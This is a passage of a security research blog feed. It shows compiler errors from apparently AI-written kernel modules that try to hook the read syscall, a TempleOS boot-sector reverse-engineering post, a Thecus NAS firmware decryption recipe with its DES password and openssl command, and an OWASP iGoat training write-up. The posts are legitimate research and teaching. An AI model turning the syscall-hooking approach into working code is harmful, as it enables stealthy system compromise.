make[2]: <span class="k">***</span> <span class="o">[</span>/usr/src/linux-headers-6.8.0-35-generic/Makefile:1926: /home/nick/chatgpt] Error 2
make[1]: <span class="k">***</span> <span class="o">[</span>Makefile:240: __sub-make] Error 2
make[1]: Leaving directory <span class="s1">'/usr/src/linux-headers-6.8.0-35-generic'</span>
make: <span class="k">***</span> <span class="o">[</span>Makefile:4: all] Error 2
</code></pre></div></div>

<h2 id="codestral-make-output">Codestral Make Output</h2>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>make <span class="nt">-C</span> /lib/modules/6.8.0-35-generic/build <span class="nv">M</span><span class="o">=</span>/home/nick/codestral modules
make[1]: Entering directory <span class="s1">'/usr/src/linux-headers-6.8.0-35-generic'</span>
warning: the compiler differs from the one used to build the kernel
  The kernel was built by: x86_64-linux-gnu-gcc-13 <span class="o">(</span>Ubuntu 13.2.0-23ubuntu4<span class="o">)</span> 13.2.0
  You are using:           gcc-13 <span class="o">(</span>Ubuntu 13.2.0-23ubuntu4<span class="o">)</span> 13.2.0
  CC <span class="o">[</span>M]  /home/nick/codestral/read_override.o
/home/nick/codestral/read_override.c:10:20: warning: no previous prototype <span class="k">for</span> ‘custom_read’ <span class="o">[</span><span class="nt">-Wmissing-prototypes</span><span class="o">]</span>
   10 | asmlinkage ssize_t custom_read<span class="o">(</span>struct file <span class="k">*</span>file, char __user <span class="k">*</span>buf, size_t count, loff_t <span class="k">*</span>offset<span class="o">)</span>
      |                    ^~~~~~~~~~~
/home/nick/codestral/read_override.c:21:19: error: static declaration of ‘init_module’ follows non-static declaration
   21 | static int __init init_module<span class="o">(</span>void<span class="o">)</span>
      |                   ^~~~~~~~~~~
In file included from /home/nick/codestral/read_override.c:2:
./include/linux/module.h:78:12: note: previous declaration of ‘init_module’ with <span class="nb">type</span> ‘int<span class="o">(</span>void<span class="o">)</span>’
   78 | extern int init_module<span class="o">(</span>void<span class="o">)</span><span class="p">;</span>
      |            ^~~~~~~~~~~
/home/nick/codestral/read_override.c: In <span class="k">function</span> ‘init_module’:
/home/nick/codestral/read_override.c:23:21: error: ‘sys_call_table’ undeclared <span class="o">(</span>first use <span class="k">in </span>this <span class="k">function</span><span class="o">)</span><span class="p">;</span> did you mean ‘sys_desc_table’?
   23 |     original_read <span class="o">=</span> sys_call_table[__NR_read]<span class="p">;</span>
      |                     ^~~~~~~~~~~~~~
      |                     sys_desc_table
/home/nick/codestral/read_override.c:23:21: note: each undeclared identifier is reported only once <span class="k">for </span>each <span class="k">function </span>it appears <span class="k">in</span>
/home/nick/codestral/read_override.c: In <span class="k">function</span> ‘exit_module’:
/home/nick/codestral/read_override.c:30:5: error: ‘sys_call_table’ undeclared <span class="o">(</span>first use <span class="k">in </span>this <span class="k">function</span><span class="o">)</span><span class="p">;</span> did you mean ‘sys_desc_table’?
   30 |     sys_call_table[__NR_read] <span class="o">=</span> original_read<span class="p">;</span>
      |     ^~~~~~~~~~~~~~
      |     sys_desc_table
/home/nick/codestral/read_override.c: At top level:
./include/linux/module.h:135:13: warning: ‘copy’ attribute ignored on a redeclaration of the referenced symbol <span class="o">[</span><span class="nt">-Wattributes</span><span class="o">]</span>
  135 |         int init_module<span class="o">(</span>void<span class="o">)</span> __copy<span class="o">(</span>initfn<span class="o">)</span>                    <span class="se">\</span>
      |             ^~~~~~~~~~~
/home/nick/codestral/read_override.c:33:1: note: <span class="k">in </span>expansion of macro ‘module_init’
   33 | module_init<span class="o">(</span>init_module<span class="o">)</span><span class="p">;</span>
      | ^~~~~~~~~~~
/home/nick/codestral/read_override.c:21:19: note: previous declaration here
   21 | static int __init init_module<span class="o">(</span>void<span class="o">)</span>
      |                   ^~~~~~~~~~~
./include/linux/module.h:135:13: error: redefinition of ‘init_module’
  135 |         int init_module<span class="o">(</span>void<span class="o">)</span> __copy<span class="o">(</span>initfn<span class="o">)</span>                    <span class="se">\</span>
      |             ^~~~~~~~~~~
/home/nick/codestral/read_override.c:33:1: note: <span class="k">in </span>expansion of macro ‘module_init’
   33 | module_init<span class="o">(</span>init_module<span class="o">)</span><span class="p">;</span>
      | ^~~~~~~~~~~
/home/nick/codestral/read_override.c:21:19: note: previous definition of ‘init_module’ with <span class="nb">type</span> ‘int<span class="o">(</span>void<span class="o">)</span>’
   21 | static int __init init_module<span class="o">(</span>void<span class="o">)</span>
      |                   ^~~~~~~~~~~
make[3]: <span class="k">***</span> <span class="o">[</span>scripts/Makefile.build:243: /home/nick/codestral/read_override.o] Error 1
make[2]: <span class="k">***</span> <span class="o">[</span>/usr/src/linux-headers-6.8.0-35-generic/Makefile:1926: /home/nick/codestral] Error 2
make[1]: <span class="k">***</span> <span class="o">[</span>Makefile:240: __sub-make] Error 2
make[1]: Leaving directory <span class="s1">'/usr/src/linux-headers-6.8.0-35-generic'</span>
make: <span class="k">***</span> <span class="o">[</span>Makefile:5: all] Error 2
</code></pre></div></div>]]></content><author><name>Nicholas Starke</name></author><category term="generativeai" /><summary type="html"><![CDATA[Introduction]]></summary></entry><entry><title type="html">TempleOS Reverse Engineering</title><link href="https://starkeblog.com/bootsector/templeos/2024/06/13/templeos-reverse-engineering-part-i.html" rel="alternate" type="text/html" title="TempleOS Reverse Engineering" /><published>2024-06-13T06:00:00+00:00</published><updated>2024-06-13T06:00:00+00:00</updated><id>https://starkeblog.com/bootsector/templeos/2024/06/13/templeos-reverse-engineering-part-i</id><content type="html" xml:base="https://starkeblog.com/bootsector/templeos/2024/06/13/templeos-reverse-engineering-part-i.html"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>TempleOS (<a href="https://www.templeos.org/">https://www.templeos.org/</a>) is an operating system written by Terry A Davis. Terry suffered from a severe mental illness that eventually claimed him, but he also produced this very interesting piece of software without the source code.  TempleOS is part of the public domain, and I wanted to take a look at it to come to an understanding of how it works to honor Terry’s struggle.</p>

<p>A side note: millions of people every year suffer from severe mental illness.  You can make an impact by donating to a cause such as <a href="https://www.nami.org/">NAMI</a>, or other such organizations in your part of the world.</p>

<p>Terry presented some of the source code online here: <a href="https://github.com/cia-foundation/TempleOS">https://github.com/cia-foundation/TempleOS</a>.  Note the repository does not include source code for the kernel, bootloader, or boot sector.</p>

<p>You can read more about Terry and the history of TempleOS on <a href="https://en.wikipedia.org/wiki/TempleOS">Wikipedia</a></p>

<p><img src="/images/06132024/templeos-vm.png" alt="" /></p>

<h1 id="reversing-templeos">Reversing TempleOS</h1>

<p>Let’s start from the beginning.</p>

<p>After downloading the TempleOS ISO installer, I created a Virtual Machine with a 1GB virtual hard disk.  I then connected the TempleOS ISO file as a virtual cdrom drive and booted the virtual machine.  The VM then booted up and I went through the installation process of installing TempleOS onto a QEMU <code class="language-plaintext highlighter-rouge">qcow2</code> virtual hard disk file. After the installation was complete, I shutdown the virtual machine.</p>

<p>Next, I connected the <code class="language-plaintext highlighter-rouge">qcow2</code> virtual hard disk file using <code class="language-plaintext highlighter-rouge">qemu-nbd</code>. Instructions on how to connect a <code class="language-plaintext highlighter-rouge">qcow2</code> file in Linux can be found <a href="https://gist.github.com/shamil/62935d9b456a6f9877b5">here</a>.</p>

<p>I then looked at the <code class="language-plaintext highlighter-rouge">fdisk</code> output for the mounted image:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Disk /dev/nbd0: 1 GiB, 1073741824 bytes, 2097152 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x040dcbcf

Device      Boot   Start     End Sectors   Size Id Type
/dev/nbd0p1 *         63 1060289 1060227 517.7M  b W95 FAT32
/dev/nbd0p2 *    1060353 2088449 1028097   502M  b W95 FAT32
</code></pre></div></div>

<p>I saw there are two partitions on the virtual hard disk, both of which are FAT32. I knew the first partition contained the bootsector, so I decided to look at the second partition to begin with.  I mount the second partition and copied off all the files from the mount point to my research directory for further analysis.</p>

<h2 id="filesystem">Filesystem</h2>

<p>The FAT32 filesystem in the second partition contained a bunch of files for normal OS operation.  The list of files can be found <a href="/text/06132024/templeos-filesystem-contents.txt">here</a>.</p>

<p>The first directory on the filesystem is <code class="language-plaintext highlighter-rouge">0000Boot</code> which contains one file: <code class="language-plaintext highlighter-rouge">0000Kernel.BIN.C</code>.  This is what one might describe in modern terms as a bootloader along the lines of GRUB2/Winload. It does not adhere to any standardized binary file format such as ELF, PE32, Mach-O or even COFF.  I tried to load this file alone into Ghidra and could not figure out the load address for the life of me, even when attempting to bruteforce the load address.  I put the project aside for a few days while I thought about what to do next.</p>

<h2 id="boot-sector">Boot Sector</h2>

<p>Eventually I realized that I was going to need to analyze the TempleOS bootsector. This is the first 512 bytes of the first partition.  I carved out those bytes and took a look:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000: eb58 904d 5357 494e 342e 3100 0202 2000  .X.MSWIN4.1... .
00000010: 0200 0000 00f8 0000 0000 0000 0000 0000  ................
00000020: 832d 1000 2e10 0000 0000 0000 0200 0000  .-..............
00000030: 0100 0000 0000 0000 0000 0000 0000 0000  ................
00000040: 8001 2923 1032 b14e 4f20 4e41 4d45 2020  ..)#.2.NO NAME  
00000050: 2020 4641 5433 3220 2020 fcb8 c096 668e    FAT32   ....f.
00000060: c0fa 668e d0bc 0004 fbe8 0000 5b83 eb6c  ..f.........[..l
00000070: c1eb 0466 8cc8 03c3 668e d8b9 0002 33f6  ...f....f.....3.
00000080: 33ff f3a4 b8c0 9666 8ed8 eaa2 00c0 9600  3......f........
00000090: 7301 1000 0100 0000 0000 51a9 0000 0000  s.........Q.....
000000a0: 0000 6788 158f 0000 00b8 c007 668e c066  ..g.........f..f
000000b0: 33c9 678b 0d90 0000 0051 0666 8cc0 a398  3.g......Q.f....
000000c0: 00be 9200 b442 678a 158f 0000 00cd 1358  .....Bg........X
000000d0: 0520 0066 8ec0 6667 ff05 9a00 0000 7508  . .f..fg......u.
000000e0: 6667 ff05 9e00 0000 59e2 ce66 33db 66b8  fg......Y..f3.f.
000000f0: 0300 0000 ea00 00c0 0700 0000 0000 0000  ................
00000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000170: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000190: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000001a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000001b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000001c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000001d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000001e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa  ..............U.
</code></pre></div></div>

<p>This looks like a boot sector! I threw this into Ghidra in x86 16bit Real mode with a load address of <code class="language-plaintext highlighter-rouge">0000:7c00</code> which is where the BIOS expects the boot sector to be and where the BIOS hands off execution to the operating system at.</p>

<p><img src="/images/06132024/ghidra-bootsector1.png" alt="" /></p>

<p>The first instruction looks like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>//
// ram 
// ram:0000:7c00-ram:0000:7dff
//
                           
assume DF = 0x0  (Default)
0000:7c00 eb 58           JMP        LAB_0000_7c5a
</code></pre></div></div>
<p>As we can see, this instruction jumps to address <code class="language-plaintext highlighter-rouge">0000:7c5a</code>:</p>

<p><img src="/images/06132024/ghidra-bootsector2.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB_0000_7c5a                                   XREF[1]:     0000:7c00(j)  
0000:7c5a fc              CLD
0000:7c5b b8 c0 96        MOV        AX,0x96c0
0000:7c5e 66 8e c0        MOV        ES,AX
0000:7c61 fa              CLI
0000:7c62 66 8e d0        MOV        SS,AX
0000:7c65 bc 00 04        MOV        SP,0x400
0000:7c68 fb              STI
0000:7c69 e8 00 00        CALL       LAB_0000_7c6c
</code></pre></div></div>

<p>This is where the stack is set up.  At the end the <code class="language-plaintext highlighter-rouge">CALL</code> instruction transfers control of execution to <code class="language-plaintext highlighter-rouge">LAB_0000_7c6c</code>.</p>

<p><img src="/images/06132024/ghidra-bootsector3.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB_0000_7c6c                                   XREF[1]:     0000:7c69(j)  
0000:7c6c 5b              POP        BX=&gt;DAT_9000_6ffe
0000:7c6d 83 eb 6c        SUB        BX,0x6c
0000:7c70 c1 eb 04        SHR        BX,0x4
0000:7c73 66 8c c8        MOV        AX,CS
0000:7c76 03 c3           ADD        AX,BX
0000:7c78 66 8e d8        MOV        DS,AX
0000:7c7b b9 00 02        MOV        CX,0x200
0000:7c7e 33 f6           XOR        SI,SI
0000:7c80 33 ff           XOR        DI,DI
0000:7c82 f3 a4           MOVSB.REP  ES:DI,SI
0000:7c84 b8 c0 96        MOV        AX,0x96c0
0000:7c87 66 8e d8        MOV        DS,AX
0000:7c8a ea a2 00 c0 96  JMPF       LAB_9000_6ca2
</code></pre></div></div>

<p>This is where things get interesting.  The end of this code is a far jump to <code class="language-plaintext highlighter-rouge">LAB_9000_6ca2</code>, which is not contained in the bootsector. It looks like <code class="language-plaintext highlighter-rouge">96c0</code> is moved into <code class="language-plaintext highlighter-rouge">AX</code> and then from <code class="language-plaintext highlighter-rouge">AX</code> into <code class="language-plaintext highlighter-rouge">DS</code> before the far jump. Since x86 Real Mode uses 20-bit addressing, the far jump ends up handing control of execution somewhere inside of <code class="language-plaintext highlighter-rouge">0000Boot/0000Kernel.BIN.C</code>.  piecing together the data segment register value and the far jump, I figured out that the load address for <code class="language-plaintext highlighter-rouge">0000Boot/0000Kernel.BIN.C</code> is <code class="language-plaintext highlighter-rouge">9000:6c00</code>.  I load <code class="language-plaintext highlighter-rouge">0000Kernel.BIN.C</code> into Ghidra, once again in x86 Real Mode and set the load address to <code class="language-plaintext highlighter-rouge">9000:6c00</code>, and ghidra was able to make some sense of the <code class="language-plaintext highlighter-rouge">0000Kernel.BIN.C</code> file now!</p>

<h2 id="0000kernelbinc">0000Kernel.BIN.C</h2>

<p><img src="/images/06132024/ghidra-bootloader1.png" alt="" /></p>

<p>The first instruction inside the <code class="language-plaintext highlighter-rouge">0000Kernel.BIN.C</code> file is a jump just like the bootsector, and then there are a few more jumps and minor instructions until execution reaches <code class="language-plaintext highlighter-rouge">LAB_9000_80b3</code>.</p>

<p><img src="/images/06132024/ghidra-bootloader2.png" alt="" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LAB_9000_80b3                                   XREF[1]:     9000:80b0(j)  
    9000:80b3 5b              POP        BX=&gt;DAT_9000_6ff6
    9000:80b4 81 eb 93 14     SUB        BX,0x1493
    9000:80b8 c1 eb 04        SHR        BX,0x4
    9000:80bb 66 8c c8        MOV        AX,CS
    9000:80be 03 c3           ADD        AX,BX
    9000:80c0 50              PUSH       AX=&gt;DAT_9000_6ff6
    9000:80c1 68 a5 14        PUSH       offset DAT_9000_6ff4
    9000:80c4 cb              RETF
    9000:80c5 fb              STI
    9000:80c6 66 8c c8        MOV        AX,CS
    9000:80c9 66 8e d8        MOV        DS,AX
    9000:80cc 66 67 c7        MOV        dword ptr [DAT_0000_0010],0x1
              05 10 00 
              00 00 01 
    9000:80d8 b8 02 4f        MOV        AX,0x4f02
    9000:80db bb 12 00        MOV        BX,0x12
    9000:80de cd 10           INT        0x10
    9000:80e0 3d 4f 00        CMP        AX,0x4f
    9000:80e3 75 0a           JNZ        LAB_9000_80ef
    9000:80e5 66 67 0f        BTS        dword ptr [DAT_0000_0010],0x1
              ba 2d 10 
              00 00 00 01
</code></pre></div></div>

<p>The interesting thing here is that the second stage bootloader (<code class="language-plaintext highlighter-rouge">0000Kernel.BIN.C</code>) references pointers to the bootsector.  That is not something I have seen anywhere else.</p>

<h2 id="analysis">Analysis</h2>

<p>The boot sequence up to this point looks completely different than any other primary/secondary bootloader I’ve ever looked at.  It demonstrates a lot of creativity in the writing process, but I admit I’m not sure what was behind some of the design decisions.  Usually, as a reverse engineer, I can understand what the original developer was trying to do, but this boot sequence is really something else. Additionally, there are no ASCII or UNICODE strings in <code class="language-plaintext highlighter-rouge">0000Boot/0000Kernel.BIN.C</code>, making the reverse engineering process pretty tedious.</p>

<p>My next step is going to be figuring out where <code class="language-plaintext highlighter-rouge">0000Kernel.BIN.C</code> transfers execution to.  I’m pretty sure its going to be <code class="language-plaintext highlighter-rouge">Kernel.BIN.C</code>, but I will need to keep digging to figure out where <code class="language-plaintext highlighter-rouge">Kernel.BIN.C</code> is loaded into memory.  <code class="language-plaintext highlighter-rouge">0000Kernel.BIN.C</code> should give me the answer to that question after some more research.  I’m also curious where the transition out of Real Mode happens; whether is in <code class="language-plaintext highlighter-rouge">0000Kernel.BIN.C</code> or <code class="language-plaintext highlighter-rouge">Kernel.BIN.C</code>.  My guess is the later, but it will be fun to figure out.  Look for another post in this series soon!</p>]]></content><author><name>Nicholas Starke</name></author><category term="bootsector" /><category term="templeos" /><summary type="html"><![CDATA[Introduction]]></summary></entry><entry><title type="html">Thecus NAS Firmware Decryption</title><link href="https://starkeblog.com/cryptography/firmware/2024/06/11/thecus-nas-firmware-decrypt.html" rel="alternate" type="text/html" title="Thecus NAS Firmware Decryption" /><published>2024-06-11T06:00:00+00:00</published><updated>2024-06-11T06:00:00+00:00</updated><id>https://starkeblog.com/cryptography/firmware/2024/06/11/thecus-nas-firmware-decrypt</id><content type="html" xml:base="https://starkeblog.com/cryptography/firmware/2024/06/11/thecus-nas-firmware-decrypt.html"><![CDATA[<h2 id="tldr">tl;dr</h2>

<p>The password I’ve seen consistently used across a few different firmware images is <code class="language-plaintext highlighter-rouge">N16000</code>. The cipher is DES-CBC using the MIT Kerberos <code class="language-plaintext highlighter-rouge">DES_to_string_key</code> function for key derivation.</p>

<h2 id="introduction">Introduction</h2>

<p>Back in 2018 I did some research into <a href="https://www.thecus.com">Thecus NAS firmware</a>.  I found that the firmware was encrypted, and I figured out how to decrypt it using parts of the filename.  The firmware for Thecus NAS are encrypted with DES-CBC using the MIT Kerberos <code class="language-plaintext highlighter-rouge">DES_string_to_key</code> function.  I wrote up some basics scripts to complete this task and posted them <a href="https://gist.github.com/nstarke/eaba741a99049430bdcb74f1b4ebc651">here</a>.</p>

<p>Flash forward to earlier this week, its been six years since I looked at this research and someone online reached out to me to ask a few questions about my scripts.  For whatever reason they no longer were working.  Thanks to <code class="language-plaintext highlighter-rouge">pyro_phoenix</code> for reaching out, and also for figuring out how to enable <code class="language-plaintext highlighter-rouge">openssl</code> cli to decrypt the firmware.</p>

<p>It turns out DES-CBC is deprecated and the <code class="language-plaintext highlighter-rouge">openssl</code> cli will no longer allow the user to use DEC-CBC or DES-ECB by default.  We can work around this by using a custom <code class="language-plaintext highlighter-rouge">openssl.cnf</code> file that enables legacy ciphers.  Thanks again to pyro_phoenix for pointing out how to make the <code class="language-plaintext highlighter-rouge">openssl</code> cli command work for DES-CBC.  This is an example of the <code class="language-plaintext highlighter-rouge">openssl</code> cli output when trying to use <code class="language-plaintext highlighter-rouge">DES-CBC</code> as the cipher:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hex string is too long, ignoring excess
Error setting cipher DES-CBC
4097B607E1750000:error:0308010C:digital envelope routines:inner_evp_generic_fetch:unsupported:../crypto/evp/evp_fetch.c:386:Global default library context, Algorithm (DES-CBC : 8), Properties ()
</code></pre></div></div>

<p>However, I did end up rewriting my origin bash scripts into a python program.  The python program iterates through a list of all possible model names (I used the thecus website to build a collection of model names) and attempts to use each as the key to the encrypted firmware blob.</p>

<h2 id="new-scripts">New Scripts</h2>

<p>My new python-based scripts are <a href="https://github.com/nstarke/thecus-firmware-decrypt">available on github</a> for those who are interested.  The new script still uses the <code class="language-plaintext highlighter-rouge">string2key</code> program I wrote, which is included in the repository.  This program utilizes the <code class="language-plaintext highlighter-rouge">DES_string_to_key</code> function from openssl to derive a key from a string.  I looked at several difficult python re-implementations of this function and none of the python-based solutions worked properly. Thus I decided to resort to shelling out to this small c program to handle key derivation.</p>

<p>The script is able to decrypt the firmware file itself using the <a href="https://github.com/twhiteman/pyDes">pyDes</a> python-only implementation of the DES cryptographic functions.  The encrypt/decrypt functions are very very slow, as the author of the library notes: <code class="language-plaintext highlighter-rouge">10Kb/s</code>.  The average Thecus firmware file is about 180 megabytes in size, which means it takes hours to decrypt using the <code class="language-plaintext highlighter-rouge">pyDes</code> library.  However, with using <code class="language-plaintext highlighter-rouge">openssl</code> cli, the time is reduced to less than a minute.</p>

<p>The example <code class="language-plaintext highlighter-rouge">openssl_legacy.cnf</code> file provided in the repo can be used to enable legacy ciphers such as DES-CBC.  You can pass this config file path using the <code class="language-plaintext highlighter-rouge">OPENSSL_CONF</code> environment variable. Even the original gist scripts should work if you set this environment variable to the provided <code class="language-plaintext highlighter-rouge">openssl_legacy.cnf</code> file.</p>

<p><strong>Example</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo apt install libssl-dev
gcc -o string2key string2key.c -lssl -lcrypto
OPENSSL_CONF=openssl_legacy.cnf openssl des-cbc -d -in Thecus_x86_64_FW.2.06.03.cdv_build9857_N2800_N4510U_N4800_N5550_N7510.rom -out Thecus_x86_64_FW.2.06.03.cdv_build9857_N2800_N4510U_N4800_N5550_N7510.rom.decrypted.bin -iv 00000000000000000 -K $(./string2key N16000) -nopad -nosalt
</code></pre></div></div>

<h1 id="conclusion">Conclusion</h1>

<p>I haven’t looked at or thought about this research in 6 years and it was fun to revisit.  I can’t really remember how I figured all of this out originally, but it was fun to formalize the research into a git repository instead of gists.</p>

<p>Lastly, I want to credit pyro_phoenix for reaching out and putting this back on my radar!</p>

<p>If you find anything cool in the firmware images, give me a shout out!</p>]]></content><author><name>Nicholas Starke</name></author><category term="cryptography" /><category term="firmware" /><summary type="html"><![CDATA[tl;dr]]></summary></entry><entry><title type="html">iGoat Challenge Write up</title><link href="https://starkeblog.com/ios/appsec/2024/05/22/igoat-swift.html" rel="alternate" type="text/html" title="iGoat Challenge Write up" /><published>2024-05-22T06:00:00+00:00</published><updated>2024-05-22T06:00:00+00:00</updated><id>https://starkeblog.com/ios/appsec/2024/05/22/igoat-swift</id><content type="html" xml:base="https://starkeblog.com/ios/appsec/2024/05/22/igoat-swift.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>10+ years ago, before I moved into information security, I was a mobile application developer for a few years.  I wrote native Android and iOS Applications using Java and Objective-C, respectively. A few weeks ago I attended a mobile application developer user group meeting during which I saw how far native mobile application development has come in the decade since I last did it.  It was remarkable to me how well designed and easy it seemed to use SwiftUI and Swift versus interface builder and objective-c.</p>

<p>As a result of this discovery, I decided to look into modern mobile application security. I want to give a presentation on iOS application security to this user group at some point, so I considered writing some vulnerable application to demonstrate the various types of vulnerabilities that occur in mobile applications.  Before I started though, I realized that someone else had probably created a “Damn Vulnerable”-type iOS application that I could leverage instead of writing my own.  I found two:</p>

<ul>
  <li>
    <p><a href="https://github.com/prateek147/DVIA-v2">https://github.com/prateek147/DVIA-v2</a></p>
  </li>
  <li>
    <p><a href="https://github.com/OWASP/iGoat-Swift">https://github.com/OWASP/iGoat-Swift</a></p>
  </li>
</ul>

<p>This blog post will use the OWASP <code class="language-plaintext highlighter-rouge">iGoat-Swift</code> application to solve a few of the exercizes.</p>

<h2 id="setup">Setup</h2>

<p>I used Xcode 15.4 targeting iOS 17.5, which is the very latest and greatest version released just earlier this week.  With this bleeding edge version of XCode, I was not able to make CocoaPods link properly no matter what I tried.  I decided to fork the project, rip out the cocoapods implementation, and recreate the dependencies within the XCode Dependency Management tool.  I tried to do this with both <code class="language-plaintext highlighter-rouge">DVIA-v2</code> and <code class="language-plaintext highlighter-rouge">iGoat-Swift</code>; in the end I went with the OWASP project because it only had one dependency (<code class="language-plaintext highlighter-rouge">RealmSwift</code>) to recreate.  If you are interested, my forked repository is located here: <a href="https://github.com/nstarke/iGoat-Swift">https://github.com/nstarke/iGoat-Swift</a>.</p>

<h2 id="challenge-hardcoded-keys">Challenge: Hardcoded Keys</h2>

<p>One of the problems I have consistently seen with client-side software, especially native Android/iOS applications, is the use of hardcoded secrets and keys.  I decided to start with this challenge since it is so common.</p>

<p>The challenge is to find the hardcoded password for the <code class="language-plaintext highlighter-rouge">BrokenCryptography</code> exercize.  In the application, it looks like this:</p>

<p><img src="/images/05242024/simulator-intro.png" alt="" /></p>

<p>On this screen I can press start and the application will load the challenge view:</p>

<p><img src="/images/05242024/simulator-challenge.png" alt="" /></p>

<p>The challenge is asking us to dig through the source code and find the hardcoded password.  I decided to take a slight departure here; since we are building debug versions of the iOS application, I thought it might be fun to show how to complete this challenge using Ghidra.  With debug versions of iOS applications, the application builds are not encrypted with a per-device key like they are on production devices. Thus, it is easy to load them into Ghidra to perform binary reverse engineering to complete this challenge.</p>

<p>For those interested, it is fairly difficult to snag an unencrypted version of an iOS application binary.  The process to do so generally involves a Jailbroken iOS device along with tools like <a href="https://frida.re/">Frida</a>.  I have found the process to be tedious and also well documented elswhere, so I’m going to skip that for this post.</p>

<p>By navigating in Xcode to <code class="language-plaintext highlighter-rouge">Product-&gt;Show Build Folder in Finder</code>, we can see where on the development host filesystem the application binary is located. Within the <code class="language-plaintext highlighter-rouge">iGoat-Swift.app</code> application folder, there is the actual binary Mach-O file we load into Ghidra:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ file iGoat-Swift
iGoat-Swift:                             Mach-O 64-bit x86_64 executable, flags:
&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|WEAK_DEFINES|BINDS_TO_WEAK|PIE&gt;  
</code></pre></div></div>

<h2 id="ghidra">Ghidra</h2>

<p>Once I had the application loaded and analyzed in Ghidra, I began searching for “landmarks”.  Landmarks are identifiers or keywords I use to narrow down where I need to look in a given binary.  In this example, I used the word <code class="language-plaintext highlighter-rouge">Broken</code> (as in <code class="language-plaintext highlighter-rouge">Broken Cryptography</code>) to find the general area in terms of functions where the relevant code resides.</p>

<p><img src="/images/05242024/ghidra-string-results.png" alt="" /></p>

<p>The second result caught my eye because of the <code class="language-plaintext highlighter-rouge">.swift</code> extension.  So I navigated to that string and then looked at the cross references.  This lead me to the function <code class="language-plaintext highlighter-rouge">_$s11iGoat_Swift28BrokenCryptographyExerciseVCC11viewDidLoadyyF</code>:</p>

<p><img src="/images/05242024/ghidra-string-location.png" alt="" /></p>

<p>As you can see a few lines above the string location, there is something interesting:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">local_48</span> <span class="o">=</span> <span class="n">_</span><span class="err">$</span><span class="n">sSS21_builtinStringLiteral17utf8CodeUnitCount7isASCIISSBp_BwBi1_tcfC</span><span class="p">(</span><span class="s">"b@nkP@ssword123"</span><span class="p">,</span><span class="mh">0xf</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
</code></pre></div></div>

<p>Et Voila, there is our <a href="https://github.com/OWASP/iGoat-Swift/blob/1f44c0826556ae3a44b92ba68fc64cdc4c993b03/iGoat-Swift/iGoat-Swift/Source/Exercises/Key%20Management/Hard%20Coded%20Keys/BrokenCryptographyExerciseVC.swift#L32">hardcoded password</a>!</p>

<h2 id="challenge-random-key-generation">Challenge: Random Key Generation</h2>

<p>The next challenge I’d like to look at is the “Random Key Generation” challenge:</p>

<p><img src="/images/05242024/simulator-intro2.png" alt="" /></p>

<p>This challenge focuses on using side channels to recover random keys.  The exercize presents a login form for a bank (“Goat Hills Financial”) and the idea is that an additional encryption key is necessary in order to complete the challenge.</p>

<p><img src="/images/05242024/simulator-initial.png" alt="" /></p>

<p>The username and password fields are already filled in, so the first thing I tried was to press the <code class="language-plaintext highlighter-rouge">Login</code> button.  When I did that, the application simulated an HTTP POST to authenticate the credentials, and then generated a random key to be used with the <code class="language-plaintext highlighter-rouge">Encryption Key</code> field to pass/fail the challenge.</p>

<p>I noticed after I pressed <code class="language-plaintext highlighter-rouge">Login</code> that the username and password fields were emptied, and then I saw this in the XCode Application Output window:</p>

<p><img src="/images/05242024/xcode-application-output.png" alt="" /></p>

<p>That UUID is the solution to the challenge.  I copied the UUID onto the clipboard and then into the <code class="language-plaintext highlighter-rouge">Encryption Key</code> field and then pressed <code class="language-plaintext highlighter-rouge">Verify</code></p>

<p><img src="/images/05242024/simulator-success.png" alt="" /></p>

<p>I tried looking on the filesystem in <code class="language-plaintext highlighter-rouge">~/Library/Logs/CoreSimulator</code> for the UUID, but I didn’t see any files containing that string value. My check was cursory, and I’m sure the application output logs are stored somewhere in the <code class="language-plaintext highlighter-rouge">~/Library</code> directory but my quick grep did not reveal where.</p>

<h2 id="challenge-binary-patching">Challenge: Binary Patching</h2>

<p>This challenge asks that we take the hardcoded password and reverse the password string in the binary and thus have the running application accept the reversed password string as the “correct” password.</p>

<p><img src="/images/05242024/simulator-binary-patching.png" alt="" /></p>

